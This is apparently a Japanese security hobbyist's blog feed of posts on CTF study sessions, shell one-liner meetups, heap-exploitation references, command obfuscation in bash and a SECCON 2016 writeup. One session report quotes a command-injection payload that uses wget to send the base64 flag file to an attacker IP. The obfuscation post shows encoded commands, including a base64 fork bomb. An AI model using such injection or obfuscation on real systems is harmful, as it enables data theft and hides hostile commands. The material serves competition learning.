ニュース

Javaで使ってるクラスがスレッドセーフなのかスレッドアンセーフなのか調べる

kanata12日前に追加

Javaって、使ってるクラスがスレッドセーフなのかスレッドアンセーフなのか、JavaDocとか見て地道に調べるしかないん?
そう言われれば、Javaってスレッドアンセーフとかそんなに気にしてなかったな。。
singletonなインスタンス変数に、複数スレッドからwriteするような場合だけ、synchronizedつけるかどうか、気にするぐらいで済むからかな?

スレッドアンセーフかどうか調べる

JavaDockから、"スレッド"という単語が含まれている文を抜き出す。簡単だけど、それでだいたい判断できる。
シェル芸でやってみた。Qの変数にクラス名を設定する。

$ Q="StringBuffer";P=`curl -s -L http://docs.oracle.com/javase/jp/7/api/overview-tree.html|grep /$Q.html|awk -F'"' '{print $4}'`;curl -s -L http://docs.oracle.com/javase/jp/7/api/$P|sed 's/<[^>]*>//g'|grep "スレッド"
スレッドセーフな可変の文字列。文字列バッファーは String に似ていますが、変更できる点が異なります。文字列バッファーには常に文字列が格納されていますが、文字列の長さと内容は特定のメソッドの呼び出しにより変更できます。
文字列バッファーは複数のスレッドによって安全に使用することができます。メソッドは必要に応じて同期化され、特定のインスタンスでのすべてのオペレーションが、関連のある個々のスレッドによって行われるメソッドの呼び出しの順序と一致する連続した順序で発生するように動作します。
 JDK 5 以降、このクラスは単一のスレッド StringBuilder により使用されるよう設計された等価のクラスで補足されています。 StringBuilder クラスは、このクラスと同じ処理をすべてサポートしながらも高速であり、同期を実行しないので、通常はこのクラスに優先して使用される必要があります。

スレッドアンセーフを気をつけなきゃいけないクラス一覧

ともあれ、一覧を作ってみたので晒す。
作ってみたものの・・・実用的には「う~ん」な感じだけれど。

以下参照

当ページのWiki Java - Appendix スレッドセーフ・スレッドアンセーフについて

katagaitai CTF勉強会#7 #8 - 関東|med に参加してきました

kanata約1ヶ月前に追加

脳が疲れたww
良い勉強会でございました。

katagaitai CTF勉強会 #7 - 関東|med : ATND
katagaitai CTF勉強会 #8 - 関東|med : ATND

trmrさんの部

ナップサック暗号!どういうものか解った!(解けるとは言っていない)

結論:MHナップサック暗号は、CTF的にいうと数パターンしかない。SageMathとか使って、LLLアルゴリズムでぶん殴れ!!!


あと、「(たぶん)日本で一番早いSHA-1衝突の勉強会」をしてくださいました。私が理解したポイントは・・・

  • マークス・ティーブンスはハッシュ衝突界のガチの人
  • 暗号屋さん的には予測の範囲内(前々回の勉強会でもtrmrさんが触れてた)
  • MD5から13年も破られてない。似たような構造の割にけっこう持ったという印象らしい。
  • GPU110個使って、1年間ぶん回して衝突させた(それでも、計算量は総当りよりは10万分の1で済んだ)
  • クラウドに換算すると11万ドル程かかる
  • Googleさんは、90日後に全てを明らかにすると言っている。さぁ、90日間のハッシュ衝突CTFの開催だ!

yskさんの部

2016年度のSECCON SECCON TOWERこと腕木通信の塔 しかり、ハードウェア系は「あ、こりゃダメだわ、完全に解けない領域に入ったわ」と思って、そっ閉じしてたんだけど、、

根気さえあれば解けるということが解った!!回路図を起こすのが、なんというか、すごいなコレ・・・
さすが、400点の価値はある。

神は最初にNANDを作り、それからORとかXORとかANDとかNOTとかいろいろ作った。

NANDの組み合わせで、全ての論理回路が実現できるという事を知ってれば、わりと解答に早く辿り着けるんだね。面白い問題だわ・・・

takさんの部

これ、とても良い資料でした。公開、期待しています!!
小さいバイナリながら、Pwnに必要な要素(bss領域のオーバーフローかーらーのー)が随所に仕込まれているので、これは大変勉強になる問題ですね!

ちょっと面白いバックコネクトの方法を紹介して頂きました。

CMD = ";wget http://999.999.999.999/\$(cat flag|base64);sleep 10;"

自前のWebサーバを持っていれば、404と共にフラグがアクセスログに記録される。CTFだとflagさえ読めればいいので、無理にシェルでバックコネクトしなくてもいいし、楽かも。

bataさんの部

怒涛の337ページ・・・っ!!5時間ほどぶっ続けで喋るbataさん・・・っ

PEとELFを比較して説明してくれていて、Windowsのセキュリティ機構を整理して説明していて、かつ、複雑なヒープの話を説明してかつ、exploitまで書いちゃおうという・・・すごい資料。すごい資料ヤバイ。

これだけで参考書一冊二冊の情報量を超えているので、脳が死にましたw

これはもー、あとからゆっくり拝読させて頂きます。だいぶWindowsとPEに詳しくなれたような気がしてきました。

Windowsのセキュリティ機構って、意外にしっかりしてました。今のWindowsなら、バッファオーバーフローの脆弱性をついてシェルを奪取するって、かなり難しいんじゃないかな。。少なくともLinuxよりも難しい気がします。


スライドの中にも各種ツールの紹介がありますが、昔、Windowsでマルウェアの挙動とかを調べるツールを教えて貰ったことがあるので、参考までにご紹介しておきます。

bataさんからも紹介してもらってましたが、特にAPI Monitorが、ものすごい便利そうです。

産学連携セミナー インシデントレスポンス概論 を受講してきました

頂き物

メモ帳もらったよ!!ありがたく使わせて頂きます。

20170225_katagaitaictf_1.jpg

余談

新ホワイトハッカ飴3000缶wwwww
待ってます。

第27回sedこわいシェル芸勉強会に参加させて頂きました!

kanata約1ヶ月前に追加

シェルスクリプト大好きなんですが、毎回新しい知見が得られて、やっぱり面白いですね!
今回はsedでした。
sedの奥深さにやられて、模範解答以上にうまく書けた解答がなかった(吐血)ので、自分用のメモ用に関連情報を載せておきたいと思います。
ほんとsedって置換でしか使ってなかったよ。。


【問題と解答】第27回sedこわいシェル芸勉強会


togetterが1000tweet超えてる。そりゃトレンド入りするわwww

第27回sedこわいシェル芸勉強会

Youtube

第27回シェル芸勉強会(午前/鳥海)
https://www.youtube.com/watch?v=oeNFq5t_frc

第27回シェル芸勉強会(午前2/石井)
https://www.youtube.com/watch?v=cDt2Olr0x84

第27回シェル芸勉強会
https://www.youtube.com/watch?v=BXM4pmvxrq4

その他、知見メモ

  • sedはヤバイ。ループも分岐もできる。
  • sedはヤバイ。特にパターンホルダとプレースホルダがヤバイ。クリップボードにコピペするイメージで使える。
  • 難読化シェル芸が意外に認知されてる。ヤバイ。
  • 最後のLTは、毎回面白いので臆せず参加したほうが良い。ヤバイ。
  • 怪物曲線ヤバイ。まったく読めないがちゃんと動く。ターミナルに曲線が書かれる。ヤバイ。

最後にフリー素材となった横田さんをどうぞ!

20170211_shellgei.jpg

濱⛵せっく 出張版 #2 に参加させて頂きました

kanata約1ヶ月前に追加

普段は仕事の都合により平日の勉強会は、ほぼ出れないんですが、今回は都合がついたので「濱⛵せっく」に参加させて頂きました!

  • 濱⛵せっく とは
横濱界隈のセキュリティエンジニアが運営している情報やスキルを共有し合うことを目標とするセキュリティ勉強会です。
セキュリティに興味のある方であれば、学生でも社会人でも無職の方でもどなたでも大歓迎です。
なお、横濱にお住まいでなくても参加できます。

濱せっく 出張版 #2 (2017/02/08 19:00〜)

濱⛵せっく 出張版 #2

漏洩情報漁り的何か

漏洩したアカウント情報。漏洩してもパスワードはハッシュ化されてて読めない大丈夫・・・なわけないですよねwというお話。
Splunk使っている所を初めて見ました。ログ解析には、なんかとても便利そう!

【ハンズオン】無償ツールでできるマルウェア解析101 ~にじみ出る悪意を捉えよ~

ShinoBOTの@Sh1n0g1さんですよ!!

特に以下が興味深かったです。

  • ファジーハッシュ

バイナリの類似性を見るのに使う。通常1bitでも違えばハッシュ値は全く違うものになるが、ファジーハッシュの場合は、そんなに変化がないという話。ssdeepというソフトがあるらしい。バイナリの類似度が解る。

  • その類似度を可視化する自作ツールの紹介。カッコよく可視化されてた。

  • マルウェアのいろいろな情報を調査するCTFを公開してくれた。後ほど問いてみたい~。

攻撃のモニタリングとライブディフェンス的な戦い方の考察

Sysmonという便利ツールを紹介してくださいました。

Sysmonは、Windowsのトラブルシューティング用の63のツール「Sysinternal Suite」に含まれているものです。
私の記憶だと「儂の波動球(ツール)は六十三式まであるぞ」だと思ってたんですが、今だともっと増えてるのかな?

これ動かしておくと、ほんとRATの挙動が手に取るようにわかりますね。。

SECCON 2016 決勝大会・カンファレンスに行きました!

kanata2ヶ月前に追加

金曜・土曜・日曜と3日間ある内の土曜日に行ってきました。
(本当は金曜日とかも行きたかったんだけど仕事がね。。)

印象に残ったのを書きます。

SECCON 決勝

  • 今年は誰でも見学可能!
  • 友利奈緒のような二次元キャラはいなかった。
  • BoB珠玉の結晶である CyKor(韓国) が独走。ここ最近は韓国チームが強い。
  • プロ生ちゃん・・・?

世代別!なぜセキュリティエンジニアはセキュリティを志す(した)のか?

  • 正解は越後製菓の音(オフレコの合図)を乱発wwwww
  • ハッカージャパンが惜しい雑誌だった。復刊して欲しい世代です。
  • 人材育成にCTFは必要かという問い、なかなかに意義深い。

王様達のヴァイキング×SECCON スペシャルトークセッション

撮影厳禁。とても面白かった(こなみ)。
編集さん、漫画さん、作家さん、そして技術監修のお二人の見事な合作という事がわかり、ますますファンになりました。

Googleのエンジニアが技術監修。なるほどなるほど、技術面で精緻に出来てたのはこういうことかぁと納得。

ちになみに、これが本物の是枝くんのPCです。

20170128_seccon_1.jpg

ロボットのセキュリティは安全?ロボットをハッキングしてみよう!

  • ロボットはROSというOSの上で動かす事が多い(昔はZ80とかだったのに。。。時代ですなぁ。。)
  • ROSはベースのOSの上で動くmetaOSと呼ばれるもので、ベースにはUbuntuがよく使われるらしい。
  • ROSは認証なし。デフォルトのポート番号11311
  • ROSはXMLRPC。通信路の暗号化なし。そんな訳で、割と簡単に乗っ取りができる。

以下のコンボで、家を火事に出来るというシナリオを動画で再現してた。なるほど、近い将来ありえないこともないか。。

人の家のロボットを乗っ取り、ロボットのカメラで燃えやすいもの(ティッシュとか)を探す→ヒーターのスイッチを入れる(最近はIR 赤外線で電源が入る)→ロボットで燃えやすいものをヒーターに近づける。

  • ROS2が開発中らしく、セキュリティ面は、これでだいぶリスクが減らせそうである。

その他

パーカーとTシャツを買った。
身につけることによって、サンシャイン池崎ばりのテンションに上げることが出来ると思う。

20170128_seccon_2.jpg

空前絶後のォォ!!!

新春 heap情報まとめ (1コメント)

kanata3ヶ月前に追加

昨年は時間をみて、heapの勉強しておりましたが、これ、heapで軽く本が1冊書けるぐらいの内容です。
CTFのPwnジャンルが解ける人が少ないのは、ひとえにこのheap仕様の難解さが原因の一つでしょう。

いつか、heapに関してまとめようと思ってるんだけど。。何千文字かになりそう。

そんな訳で、私が参照させて頂いている&これから参照したい情報を以下にまとめました。

よくわかる!heapの基礎的(!?)な知識

mallocの旅(glibc編)
http://www.slideshare.net/kosaki55tea/glibc-malloc

malloc(3)のメモリ管理構造
http://www.valinux.co.jp/technologylibrary/document/linux/malloc0001/

NEC 古賀さんによるありがたい解説
http://www.soi.wide.ad.jp/class/20040011/slides/19/45.html
https://www.nic.ad.jp/ja/materials/security-seminar/20041004/3-koga.pdf

The 67th Yokohama kernel reading party(小崎さんのmalloc動画)
https://www.youtube.com/watch?v=0-vWT-t0UHg

Pwn/Exploit heapにまつわる攻撃手法

The Malloc Maleficarum (Bugtraq 2005) - ももいろテクノロジー
http://inaz2.hatenablog.com/entry/2016/12/24/002138

heap exploitationテク走り書き - 生きたい
http://potetisensei.hatenablog.com/entry/2016/12/10/034804

House of Forceの概要と実践(題材:BCTF2016 bcloud) - Pwn d3 r1ng
http://pwn.hatenadiary.jp/entry/2016/12/05/235942

[CB16] House of Einherjar :GLIBC上の新たなヒープ活用テクニック
http://www.slideshare.net/codeblue_jp/cb16-matsukuma-ja-68459648

heapにまつわる脆弱性の実例等

たった1バイトの書き込みが引き起こすルート権限での実行の脆弱性 コンピュータサイエンス POSTD
http://postd.cc/a-single-byte-write-opened-a-root-execution-exploit/

情報セキュリティスペシャリスト試験を受けた話 - しゃろの日記
http://charo-it.hatenablog.jp/entry/2016/12/09/145231

CTFひとり勉強会 Secret Holder (HITCON 2016 Quals) 後編 - ヾノ>ㅅ<)ノシ帳
http://katc.hateblo.jp/entry/2016/10/28/124025

第26回シェル芸勉強会及びエクシェル芸勉強会に参加させて頂きました!

kanata3ヶ月前に追加

シェルスクリプト大好きなんですが、新しい知見が得られて、やっぱり面白いですね!
今回は、自分なりにうまく書けた解答がなかった(吐血)ので、自分用のメモ用に関連情報を載せておきたいと思います。

【問題と解答】第26回シェル芸勉強会及びエクシェル芸勉強会

jus共催 第8回初心者の方角に向いて講師が喋るシェル勉強会(初心者向けとは言ってない)/第26回シェル芸勉強会及びエクシェル芸勉強会

その他、知見メモ

  • ExcelやXMLをいい感じにアレコレするツールは沢山あるっぽいが、 xmllint と hxselect がよさげ。
  • シェルのviモードは、emacs宗派を改宗させる破戒力がある。ヤバイ。
  • Excelの文字列は、展開したファイルのxl/sharedStrings.xmlに順番に入っている(紐付けるIDとかは無い。XMLなのに)。ヤバイ。
  • penというコマンドでMarkdownのプレビューができる。sayは喋る。ヤバイ。

難読化シェル芸を発案した

kanata3ヶ月前に追加

難読化シェル芸

難読化シェル芸とは

内部的な動作の手続き内容・構造・データなどを人間が理解しにくい、あるいはそのようになるよう加工されたシェル芸のこと。

例えばこんなの

普通のdateコマンド

date
20161216日 金曜日 21:19:58 JST

難読化dateコマンド

$'\x64\x61\x74\x65'
201734日 土曜日 13:36:21 JST
$(printf "%b" $(printf '%s%x' '\x' $((0x83 ^ 0xe7))))$(ls --help|grep ^G|cut -c53)$(ls --help|grep ^G|cut -c10)$(ls --help|grep ^G|cut -c8)
20161216日 金曜日 21:19:52 JST

難読化の基本

アスキーコードを記述して実行

俺的備忘録 〜なんかいろいろ〜 bashでコマンドをアスキーコードで記述して実行させる

$ echo -n 'date'|xxd
0000000: 6461 7465                                date
$ $'\x64\x61\x74\x65'         # date 16進数表記
201734日 土曜日 13:36:21 JST
$ $'\144\141\164\145'         # date 8進数
201734日 土曜日 13:47:22 JST
$ $'\u0064\u0061\u0074\u0065' # date Unicodeの表記
201734日 土曜日 13:40:16 JST

コマンド置換で文字を生成して実行

`example` または $(example) で文字を出力する。

exampleの部分を複雑にすることで、難読化を図る

`echo d``echo a`$(echo t)$(echo e)
201734日 土曜日 13:44:33 JST

難読化技法

フェイク(無駄な命令)

例えば、以下は全て無視される。コードの間に入れる事でより複雑な難読化を図ることができる。

$(:;:;:;:;:;:;)
$(: poweroff :;)
$(: rm -rf /* ;)

base64によるエンコード

base64にエンコードすることで、どのような命令かわからないようにする。

dateの難読化

$(echo ZGF0ZQ==|base64 -d)

ちなみに例のアレ(:(){ :|:& };:)は、こんな感じ(実行厳禁!!)

$(echo OigpeyA6fDomIH07Og==|base64 -d)

計算による文字の難読化

ASCIIコードを計算して出力することによって難読化する。

vの出力

echo $(printf "%b" $(printf '%s%x' '\x' $((0x15 ^ 0x63))))
v

ハッシュ値から必要な文字を得る

MD5等のハッシュ値を出力することで、0123456789abcdefABCDEFの文字を得ることができる。

Fの出力

$(echo -n |md5sum|cut -c10|tr a-z A-Z)
F

コマンドで同じ結果になる部分から文字を得る

例えばpwdコマンドの最初に1文字目は、必ず'/'になる。

echo $(pwd|cut -c1)
/

date '+%s' の最初の1文字目は、必ず1になる(と思って差し支えない。UNIX通算秒なので)。

echo $(date '+%s'|cut -c1)

lsのヘルプには、通常以下の文字列が含まれるため、これを利用できる。

ls --help|grep ^G
GNU coreutils online help: <http://www.gnu.org/software/coreutils/>

helpの出力

echo $(ls --help|grep ^G|cut -c22-25)
help

システムが普遍的に抱えている不変な情報から文字を得る

これが難読化に対しては最も有用では
実行してみるまで、どんな文字列になるか非常に解りにくい。
しかし、どのようなLinuxディストリビューションでも同じ値を抱えているものというのは、意外に見つからない。

私が発見したものは以下になる。おそらく、この文字列は、どのLinuxディストリビューションでも変わらない。

xxd /bin/ls|head -1
0000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............

ここから、.:01456cfELFの文字を得ることができる。

パイプレス

パイプを使用しないことで難読性を高める

A. 割りと死ななかった

パイプをキーで入力せずとも、アスキーコードから呼び出してevalで実行すればよいということか…

$ seq 100 |head -n 8 |tail -n 5 |sed 2,4d
4
8
$ sed 2,4d <(tail -n 5 <(head -n8 <(seq 10)))
4
8
$ eval $(echo -e seq 100 "\0174" head -n 8 "\0174" tail -n 5 "\0174" sed 2,4d)
4
8

awk芸によるコマンド機能の代替

awkで一般的によく使われるコマンド機能を代替して、読みにくくする。
ただawkに関しては、注意深く読めば読解できる点に注意が必要。

AWK 一行野郎百裂拳 - 日本 GNU AWK ユーザー会 - No-ip.org

sed芸によるコマンド機能の代替

sedで一般的によく使われるコマンド機能を代替して、読みにくくする。
もぅわからん。

tacの代替

第27回sedこわいシェル芸勉強会 Q8

sed '1!G;h;$!d'

touchの代替

sed 'w a' aa と実行すれば...

sed 'w filename' /dev/null

treeの代替

Qiita - tree コマンドが無い環境で tree コマンドを実現

find . | sort | sed '1d;s/^\.//;s/\/\([^/]*\)$/|--\1/;s/\/[^/|]*/|  /g'

Vimシェル芸によるコマンド機能の代替

深淵

その他、普通のコマンドの使い方をしない

echoの代替

Hello Worldコレクション

$ basename 'Hello World'
Hello World
$ date +'Hello World' 
Hello World

lsの代替

echo *
printf %s *

難読化シェル芸ツール

手動により難読化しても良いが、ツールを作ってみた。

インストール

NandokukaShellGei.sh

シェルスクリプトなのでダウンロード&実行権限付与でOK

wget https://raintrees.net/attachments/download/391/NandokukaShellGei.sh
chmod u+x NandokukaShellGei.sh

動作環境

一般的なLinuxディストリビューションで、だいたい動くと思う。
以下で動くことを確認した。

  • CentOS7
  • KaliLinux

ただコマンドの組み合わせによっては、なんか不具合がおきたりする。原因は調べてない。

Macで動くかは、ちょっと自信ない。

実行例

$ ./20161216_NandokukaShellGei.sh "echo HelloWorld"
e       ls --help|grep ^G|cut -c8
c       ls --help|grep ^G|cut -c5
h       ls --help|grep ^G|cut -c22
o       ls --help|grep ^G|cut -c6
        xxd /bin/ls|head -1|cut -c9
H       ls --help|grep ^G|cut -c22|tr a-z A-Z
e       ls --help|grep ^G|cut -c8
l       ls --help|grep ^G|cut -c12
l       ls --help|grep ^G|cut -c12
o       ls --help|grep ^G|cut -c6
W       ls --help|grep ^G|cut -c36|tr a-z A-Z
o       ls --help|grep ^G|cut -c6
r       ls --help|grep ^G|cut -c7
l       ls --help|grep ^G|cut -c12
d       echo -n|md5sum|cut -c1

$(ls --help|grep ^G|cut -c8)$(ls --help|grep ^G|cut -c5)$(ls --help|grep ^G|cut -c22)$(ls --help|grep ^G|cut -c6)$(xxd /bin/ls|head -1|cut -c9)$(ls --help|grep ^G|cut -c22|tr a-z A-Z)$(ls --help|grep ^G|cut -c8)$(ls --help|grep ^G|cut -c12)$(ls --help|grep ^G|cut -c12)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c36|tr a-z A-Z)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c7)$(ls --help|grep ^G|cut -c12)$(echo -n|md5sum|cut -c1)
$
$ #以下、出力されたコードをコピペ 
$ $(ls --help|grep ^G|cut -c8)$(ls --help|grep ^G|cut -c5)$(ls --help|grep ^G|cut -c22)$(ls --help|grep ^G|cut -c6)$(xxd /bin/ls|head -1|cut -c9)$(ls --help|grep ^G|cut -c22|tr a-z A-Z)$(ls --help|grep ^G|cut -c8)$(ls --help|grep ^G|cut -c12)$(ls --help|grep ^G|cut -c12)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c36|tr a-z A-Z)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c7)$(ls --help|grep ^G|cut -c12)$(echo -n|md5sum|cut -c1)
HelloWorld

SECCON 2016 Writeup (1コメント)

kanata4ヶ月前に追加

CTF Writeup SECCON 2016

結果&感想

某チームでSECCON2016に参加しました。
今年は全体的に難易度が高かったですね。。ExploitとCryptoが多めでした。

どっちも専門知識や職人芸的な技能が試されるので、全体的に苦戦されたんじゃないかと思います。

いちおう200点問題ができたのと、ちょっとアシストできたと思われる100点の問題について、writeupを書きます。

Vigenere

Crypto問 100点 777チーム回答

以下、問題前文

k: ????????????
p: SECCON{???????????????????????????????????}
c: LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ

k=key, p=plain, c=cipher, md5(p)=f528a6ab914c1ecf856a1d93103948fe

 |ABCDEFGHIJKLMNOPQRSTUVWXYZ{}
-+----------------------------
A|ABCDEFGHIJKLMNOPQRSTUVWXYZ{}
B|BCDEFGHIJKLMNOPQRSTUVWXYZ{}A
C|CDEFGHIJKLMNOPQRSTUVWXYZ{}AB
D|DEFGHIJKLMNOPQRSTUVWXYZ{}ABC
E|EFGHIJKLMNOPQRSTUVWXYZ{}ABCD
F|FGHIJKLMNOPQRSTUVWXYZ{}ABCDE
G|GHIJKLMNOPQRSTUVWXYZ{}ABCDEF
H|HIJKLMNOPQRSTUVWXYZ{}ABCDEFG
I|IJKLMNOPQRSTUVWXYZ{}ABCDEFGH
J|JKLMNOPQRSTUVWXYZ{}ABCDEFGHI
K|KLMNOPQRSTUVWXYZ{}ABCDEFGHIJ
L|LMNOPQRSTUVWXYZ{}ABCDEFGHIJK
M|MNOPQRSTUVWXYZ{}ABCDEFGHIJKL
N|NOPQRSTUVWXYZ{}ABCDEFGHIJKLM
O|OPQRSTUVWXYZ{}ABCDEFGHIJKLMN
P|PQRSTUVWXYZ{}ABCDEFGHIJKLMNO
Q|QRSTUVWXYZ{}ABCDEFGHIJKLMNOP
R|RSTUVWXYZ{}ABCDEFGHIJKLMNOPQ
S|STUVWXYZ{}ABCDEFGHIJKLMNOPQR
T|TUVWXYZ{}ABCDEFGHIJKLMNOPQRS
U|UVWXYZ{}ABCDEFGHIJKLMNOPQRST
V|VWXYZ{}ABCDEFGHIJKLMNOPQRSTU
W|WXYZ{}ABCDEFGHIJKLMNOPQRSTUV
X|XYZ{}ABCDEFGHIJKLMNOPQRSTUVW
Y|YZ{}ABCDEFGHIJKLMNOPQRSTUVWX
Z|Z{}ABCDEFGHIJKLMNOPQRSTUVWXY
{|{}ABCDEFGHIJKLMNOPQRSTUVWXYZ
}|}ABCDEFGHIJKLMNOPQRSTUVWXYZ{

問題タイトルからヴィジュネル暗号であることが解る。暗号の仕組みとしては難しくない。

暗号文、平文、キーの内、2つが分かっていれば暗号化・復号化ができる。

基本的な考え方

1文字目を例にキーを求めてみよう。

平文の1文字目(p):S
暗号文も1文字目(c):L

上の表のSの行を抜き出してみる

 |ABCDEFGHIJKLMNOPQRSTUVWXYZ{}
-+----------------------------
S|STUVWXYZ{}ABCDEFGHIJKLMNOPQR

表の中のLの位置を確認、対応する列はVになっている。
ということで、1文字目のキー(k)は、Vとなる。

これを繰り返すと、ここまで解る。

k: VIGENER?????VIGENER?????VIGENER?????VIGENER
p: SECCON{?????BCDEDEF?????KLMNOPQ?????VWXYYZ}
c: LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ

残り5文字について

正解時のMD5ハッシュが問題にあるので、総当りすればよい。
この手の古典案号のキーは、だいたい4~5文字だったら、現実的な時間で解けると考えてよさげ。

あとヴィジュネル暗号の英語の綴りは"VIGENERE"なので、キーの次の文字は"E"であろうという予想がつきます。

CTF時はチームメイトがJavaScriptで総当りプログラムを作ってくれました。

ちょっと勉強がてらPythonで書いてみました。5文字の総当りだと、それなりに時間がかかります。

#!/usr/bin/python
# -*- coding: utf-8 -*-

import hashlib
from itertools import combinations

charset= "ABCDEFGHIJKLMNOPQRSTUVWXYZ{}"*5
chiper = "LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ"
itr    = combinations(charset,5)

def decode(c, key):
  return charset[(charset.index(c)-charset.index(key))%28]

for i in itr:
  print i[0],i[1],i[2],i[3],i[4]
  a0 = decode('E',i[0])
  a1 = decode('D',i[1])
  a2 = decode('O',i[2])
  a3 = decode('E',i[3])
  a4 = decode('E',i[4])
  b0 = decode('K',i[0])
  b1 = decode('J',i[1])
  b2 = decode('W',i[2])
  b3 = decode('M',i[3])
  b4 = decode('N',i[4])
  c0 = decode('V',i[0])
  c1 = decode('U',i[1])
  c2 = decode('F',i[2])
  c3 = decode('W',i[3])
  c4 = decode('Y',i[4])

  # 不明なキーの最初の1文字目をEと決めつけて実施(VIGENEREの最後のE)
  # 以下3行をコメントアウトすれば5文字の総当たりになる
  a0 = decode('E','E')
  b0 = decode('K','E')
  c0 = decode('V','E')

  flag = 'SECCON{'+a0+a1+a2+a3+a4+'BCDEDEF'+b0+b1+b2+b3+b4+'KLMNOPQ'+c0+c1+c2+c3+c4+'VWXYYZ}' 

  md5 = hashlib.md5(flag).hexdigest()
  if md5 == "f528a6ab914c1ecf856a1d93103948fe":
    print 'Hit!',flag,md5
    exit()

ちなみに

以下にヴィジュネル暗号のソルバを事前に準備しておいたんだけれど、今回はアルファベットの他に"{}"が入っているという仕様のため、使えなかった。
(あと英文じゃないので、復号結果が正しいか判断ができないとかある)

CTF Crypto Vigenere暗号(ヴィジュネル暗号)

pppppoxy

Web問 200点 43チーム回答

ダウンロードしたexeを実行すると、ローカル限定で接続できるWebサーバとブラウザが立ち上がり、idとpasswordの入力を求められる。
正しいパスワードを入力するのが今回の問題。

失敗すると「username or passwaord was incorrect!」が表示される。

20161211_seccon_pppproxy_fig1.png

ぶっちゃけ力技で解いた。
うさみみハリケーンを使い起動中のpppppoxyのメモリ内容を参照。こちらから入力したパスワードの近辺を検索して参照し、怪しい文字列を見つけた。

20161211_seccon_pppproxy_fig2.png

という訳で、以下を入力してフラグ取得

-40.01.6102 ,ikazamaY ogieK? thgirypoC

20161211_seccon_pppproxy_fig3.png

と、言葉にするとすぐ終わるんだけど、実際この手法に行き着くまでに

  • SSHトンネルして外に繋がるようにして、hydraでブルートフォース
    →制限時間内に明らかに終わらない事がわかり諦める。

  • ILSpyでデコンパイルしてソースコードを眺める。
    →難読化(?)とか文字化けとかに遭遇して諦める。

という苦労をして時間を溶かしている。

その他の問題のWriteup

あのTomoriNaoさんのページが、とても詳しいです。

TomoriNao SECCON 2016 Online
https://hackmd.io/s/HkGx_btmx#

シェル芸のネタ

kanata4ヶ月前に追加

全てがFになる

C=$(tput cols);L=$(tput lines);while :;do x=$(($RANDOM%$C));y=$(($RANDOM%$L));printf "\033[${y};${x}fF";done

以下は実行途中、いずれ全てFになる。

FF FFFFFFFFFFFF FF FFF FF FFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFF FFF FF F FF FFFFFFFFFFFFFFFFFFFFFFFFFFF
FF  FFFFF FFFFF  FFFFFFF F FFFFFFFFFF F  FF FFFF  FF FFFF FFFFF F FF  FF FF  F  FFF  FF F FFF       F
FF  FFF  FFF FFFF F F  FFFFFF FFF F FFFF F F FF   FF FFFF  FFFF  FF FF F  F F FFF FFFFFFFF F FFFFFF F
FFFFFF FF F F  FF F FF F FFFFF  FFFFFFF  FFF FFFF FFFFFF  FFFFFFFFFFFFF FFFFFFFFFF F FFFF FF     FF
FF  FFF  FFF FF FF  FFF F    F FF  F  FFF FFFF FFFF FFFF FF FF F  FFFFFFFFF FFFFFFFFFFF  FFFFFF FF F
F FFF   FFF F    F FFFF     FFFF FF F  FFFF F FF  FFF F  F F F FFFF  FF FFF FFFF  F F FFFF   FFFF F
FFFF F FFFF FFFFFFF  FFFF FFF FF F F   FF FFFFFFF   FF F F  FF F F FFFFFFFFF FFFFFF FFFFF F  FFFF FFF
F    FFFFFFFF FFF FFFFFFFFFFFFFFFFFFFF F  F FF FFFFFFF   FF   FFFF  F FF FFFF FFFFFF FFFFFF F FFF   F
 FFF   FF  FF FFFF FFFFF   FFFF F  FF  FFFFF F F FFFFFFFFFFF  FFFF FF F  F  FF  FFF FF      F     F F
  F  F   FFFFF FF FFFFFF FFFFF F  F F   FF FF FFFFFFFF FFFFF FFF FFFFF F F FF  FFF   F F FF FFFFFFFF
F FFFFF F FF FFFFFFFF FFFFFFFFFFF   F FF FF   FF FFFFF FFFFFF FF FFF  FFF FFFFFF  F FFF  FFFFF  F FF
F FF FF F   FFF FF FFFFF FFF FFF   FF FFFFFFF  F FFF  FFF  FF FF FFF FFFFFFFF  FFF F FF F  FF FFF FFF
FFFF FFFFFFFFFF F  F  FFFFF   FF FF F FF FF F FFFFFFFFFFFF FFFFFFF FFFFF F  FF FFF  FFF FFF FF  FFFFF
FFFF   F FFFFFFFFFFFFFFFF   FFFFF  F    FF  FFF  FF FFFFFF F   FFFFFFFFF FFFF  FFFFFFF FF F FF FFFFFF
FFFFF F FFFFFFF  FFFFF    FFFFFFFF   FFFFF   FF FF FFFF FFF  FF F F FF   F   F  F  FFFF   FF F FFF FF
F F FFFFFFFFF   F  F  FFF F FF  FF  FFFFFFFFF FFFFF FFF FFF FFFFFFF FFFF FFFFFFFFFFF  F  FFFF F FFFFF
FFF  FF FF F FFFFFFFF FFFF FF F FFF FFF FFF FFFF   FFFFFFFFFFFF F F    FFFF  FFF     F FF FF F FFFFFF
FF   FFFFF FF FFFF FFFFF FF  FFFFF FFFF    FFFF FFFF F  F  FFFFFF FF FF F FF  FFFF FF FF FFFFFFF FFF
F    F   F F FFFFFFFF FF  F FF FFFFF  F FFFF  FFFF FF FFFFFF FFFFF F  FFFF FF F F F FFF FFFFFFFFF FFF
 FF   F FFFF FF F FFFF      FF FF FFF F FFFFFFFFFFFFFFF FFFFF FFF FFFFF  FFF   FFFFFFFFFFFFFFFFFFFFFF
FFF FFFFF   F  F   FF FFF F   FF FFFFF F FFFF F FFFFFFFFF FFFF FFFF FF  FFFFF FF F  F FFFFFFFF FF FFF
F F  FF F F FF FF F F FFF F   FFFFFF   FFFFFF  FF FFFFF FF FFFFFF FFF  FFFFFFFFFFFFFFFF  FFFF  FFFF F
FFF FFFF  FFFFFF FFFFFF FFF FF  F FFF FFFFFFFF  FFFFFF    FFF FFFFFFFFF FFF  FFFFF F F F    F F FFFF
F   F FF F F   F FFFFFFF FF F FFFFF F FF F  FF F  F FFFFFFF  F F FFF FFFFFF F FFFFFFF FFFFF FF FFF  F
FF FFF FFF FFF  FF FF  FFF  F FFFFF FF FF FF  FFFFFFF FFFF F FF FFFFFFFF F F F FFFFFF   FFFFFF FF FFF
